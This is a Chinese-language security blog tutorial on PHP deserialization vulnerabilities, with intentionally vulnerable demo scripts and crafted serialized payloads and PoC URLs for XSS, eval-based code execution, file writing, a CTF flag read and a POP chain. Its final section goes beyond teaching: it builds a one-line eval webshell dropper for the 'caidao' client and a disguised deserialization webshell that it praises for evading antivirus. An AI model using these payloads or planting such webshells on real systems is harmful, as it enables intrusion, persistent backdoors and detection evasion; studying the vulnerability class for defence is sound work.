前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >PHP反序列化漏洞

PHP反序列化漏洞

作者头像
LuckySec
发布2022-11-02 13:45:35
5190
发布2022-11-02 13:45:35
举报
文章被收录于专栏:LuckySec网络安全

0x001 漏洞产生原理

  在反序列化的过程中自动触发了某些魔术方法。未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致XSS、代码执行、文件写入、文件读取等不可控后果。

0x002 漏洞触发条件

  一般只能通过代码审计的方式挖掘该漏洞,寻找代码中unserialize()函数的变量可控,且PHP文件代码中存在可利用的类,同时类中具有魔术方法。

0x003 PHP魔术方法

  • __construct() 当一个对象创建时被调用
  • __destruct() 当一个对象销毁时被调用
  • __toString() 当一个对象被当作一个字符串使用
  • __sleep() 在对象在被序列化之前运行
  • __wakeup 将在序列化之后立即被调用

0x004 序列化数据格式

序列化主要分为字符型、数组型、对象型。

image
image

以序列化对象格式为例

代码语言:javascript
复制
O:4:"info":2:{s:4:"name";i:2:"19";}
image
image

0x005 反序列化漏洞

1. XSS

漏洞示例demo2.php:

代码语言:javascript
复制
<?php
class A{
    var $test = "demo";
    function __wakeup(){
            echo $this->test;
    }
}

unserialize($_GET['a']);
?>

构造序列化值:

代码语言:javascript
复制
O:1:"A":1:{s:4:"test";s:28:"<img src=1 onerror=alert(1)>";}

利用序列化值构造POC:

代码语言:javascript
复制
http://127.0.0.1/labs/fxlh/demo2.php?a=O:1:"A":1:{s:4:"test";s:28:"<img src=1 onerror=alert(1)>";}

成功在页面进行了弹窗:在序列化数据之后,立即自动调用了__wakeup()函数,执行 <img src=1 onerror=alert(1)>

image
image
2. 代码执行

漏洞示例test.php:

代码语言:javascript
复制
<?php
class Example {
    var $var = '';
    function __destruct() {
        eval($this->var);
    }
}
unserialize($_GET['a']);
?>

构造序列化值:

代码语言:javascript
复制
O:7:"Example":1:{s:3:"var";s:10:"phpinfo();";}

利用序列化值构造POC:

代码语言:javascript
复制
http://127.0.0.1/labs/fxlh/test.php?a=O:7:"Example":1:{s:3:"var";s:10:"phpinfo();";}

成功显示了phpinfo页面:在反序列化该数据时,自动触发了_destruct()函数,执行 eval(phpinfo())

image
image
3. 文件写入

漏洞示例demo3.php:

代码语言:javascript
复制
<?php
require "shell.php";
class B{
    function __construct($test){
        $fp = fopen("shell.php","w") ;
        fwrite($fp,$test);
        fclose($fp);
    }
}
class A{
    var $test = '123';
    function __wakeup(){
        $obj = new B($this->test);
    }
}

unserialize($_GET['a']);
?>

构造序列化值:

代码语言:javascript
复制
O:1:"A":1:{s:4:"test";s:18:"<?php phpinfo();?>";}

利用序列化值构造POC:

代码语言:javascript
复制
http://127.0.0.1/labs/fxlh/demo3.php?a=O:1:"A":1:{s:4:"test";s:18:"<?php phpinfo();?>";}

成功将phpinfo写入了shell.php:在反序列化该数据结束后,,立即自动调用了__wakeup()函数,而在__wekeup()创建了对象后,就会自动调用__construct()函数,从而执行了文件写入的操作。

image
image
4. 文件读取

2020 ISCC CTF中的一道题为例

代码语言:javascript
复制
<?php  
@error_reporting(1);
include 'flag.php';
class baby 
{
    public $file;
    function __toString()      
    {
        if(isset($this->file))
        {
            $filename = "./{$this->file}";
            if (base64_encode(file_get_contents($filename)))
            {
                return base64_encode(file_get_contents($filename));
            }
        }
    }
}
if (isset($_GET['data']))
{
    $data = $_GET['data'];
        $good = unserialize($data);
        echo $good;
}
else 
{
    $url='./index.php';
}

$html='';
if(isset($_POST['test'])){
    $s = $_POST['test'];
    $html.="<p>谢谢参与!</p>";
}
?>

代码审计

  1. GET形式传入一个data参数,并且对data参数进行了反序列化;
  2. 使用了_toString() 当一个对象被当作一个字符串时自动调用
  3. 使用file_get_contents()包含$file文件内容;
  4. 最后使用base64_encode()加密输出$file文件中的内容。

构造序列化值:

代码语言:javascript
复制
O:4:"baby":1:{s:4:"file";s:8:"flag.php";}

利用序列化值构造POC:

代码语言:javascript
复制
http://101.201.126.95:7003/index.php?data=O:4:"baby":1:{s:4:"file";s:8:"flag.php";}

成功显示了flag.php文件中的内容:在反序列化该数据时,自动触发了_toString()函数,执行 base64_encode(file_get_contents($filename))

image
image
5. 漏洞拓展

  上面讲的都是基于魔术方法下的敏感操作导致的反序列化导致的安全问题。但是当漏洞/危险代码存在在类的普通成员方法中,该如何利用呢? 

漏洞示例demo4.php:

代码语言:javascript
复制
<?php
class maniac{
    public $test;
    function __construct(){
        $this->test =new x1();
    }

    function __destruct(){
        $this->test->action();
    }
}
class x1{
    function action(){
        echo "x1";
    }
}

class x2{
    public $test2;
    function action(){
        eval($this->test2);
    }
}

$class2  = new maniac();
unserialize($_GET['test']);
?>

我们发现类的普通方法调用eval()函数,这个函数很危险,如果可控就可能造成代码执行。

 通过代码发现$_GET['test']可控,因为使用unserialize()会自动调用__destruct(),所以它会先调用action()函数,然后会走到x1类和x2类,而安全问题在x2类中。

构造如下序列化代码serialize-demo4.php:

代码语言:javascript
复制
<?php
    class maniac{
        public $test;
        function __construct(){
            $this->test = new x2();
        }
		function __destruct(){
			$this->test->action();
		}
    }

    class x2{
        public $test2="phpinfo();";
		function action(){
			eval($this->test2);
    }
    }

    $class1 = new maniac();
    print_r(serialize($class1));
?>

上述序列化代码运行后得到的序列化值:

代码语言:javascript
复制
O:6:"maniac":1:{s:4:"test";O:2:"x2":1:{s:5:"test2";s:10:"phpinfo();";}}

利用得到的序列化值构造POC:

代码语言:javascript
复制
http://127.0.0.1/labs/fxlh/demo4.php?test=O:6:"maniac":1:{s:4:"test";O:2:"x2":1:{s:5:"test2";s:10:"phpinfo();";}}
image
image

0x006 反序列化webShell

1. 配合菜刀getShell

漏洞示例test.php:

代码语言:javascript
复制
<?php
class Example {
    var $var = '';
    function __destruct() {
        eval($this->var);
    }
}
unserialize($_GET['a']);
?>

利用eval()传入可控参数,写入一句话木马 <?php @eval($_GET[cmd]);?>,构造序列化数据值:

代码语言:javascript
复制
O:7:"Example":1:{s:3:"var";s:62:"fwrite(fopen('shell.php', 'w'),'<?php @eval($_POST[cmd]);?>');";}

利用序列化值构造POC

代码语言:javascript
复制
http://127.0.0.1/labs/fxlh/test.php?a=O:7:"Example":1:{s:3:"var";s:62:"fwrite(fopen('shell.php', 'w'),'<?php @eval($_POST[cmd]);?>');";}

执行该POC后,会在同级目录下生成一个shell.php文件,通过菜刀连接访问shell.php,即可getShell

image
image
2. 反序列化木马

利用反序列化的特点,编写webShell木马

代码语言:javascript
复制
<?php
class A{
    var $test = "demo";
    function __destruct(){
        @eval($this->test);
    }
}
$test = $_POST['test'];
$len = strlen($test)+1;
$pp = "O:1:\"A\":1:{s:4:\"test\";s:".$len.":\"".$test.";\";}"; // 构造序列化对象
$test_unser = unserialize($pp); // 反序列化同时触发_destruct函数
?>

使用菜刀连接该webShell木马

image
image

此木马与正常文件很像,所以对于免杀安全狗等防护软件效果很不错。

参考文章

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2020-05-13,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x001 漏洞产生原理
  • 0x002 漏洞触发条件
  • 0x003 PHP魔术方法
  • 0x004 序列化数据格式
  • 0x005 反序列化漏洞
    • 1. XSS
      • 2. 代码执行
        • 3. 文件写入
          • 4. 文件读取
            • 5. 漏洞拓展
            • 0x006 反序列化webShell
              • 1. 配合菜刀getShell
                • 2. 反序列化木马
                • 参考文章
                相关产品与服务
                文件存储
                文件存储(Cloud File Storage,CFS)为您提供安全可靠、可扩展的共享文件存储服务。文件存储可与腾讯云服务器、容器服务、批量计算等服务搭配使用,为多个计算节点提供容量和性能可弹性扩展的高性能共享存储。腾讯云文件存储的管理界面简单、易使用,可实现对现有应用的无缝集成;按实际用量付费,为您节约成本,简化 IT 运维工作。
                领券
                问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档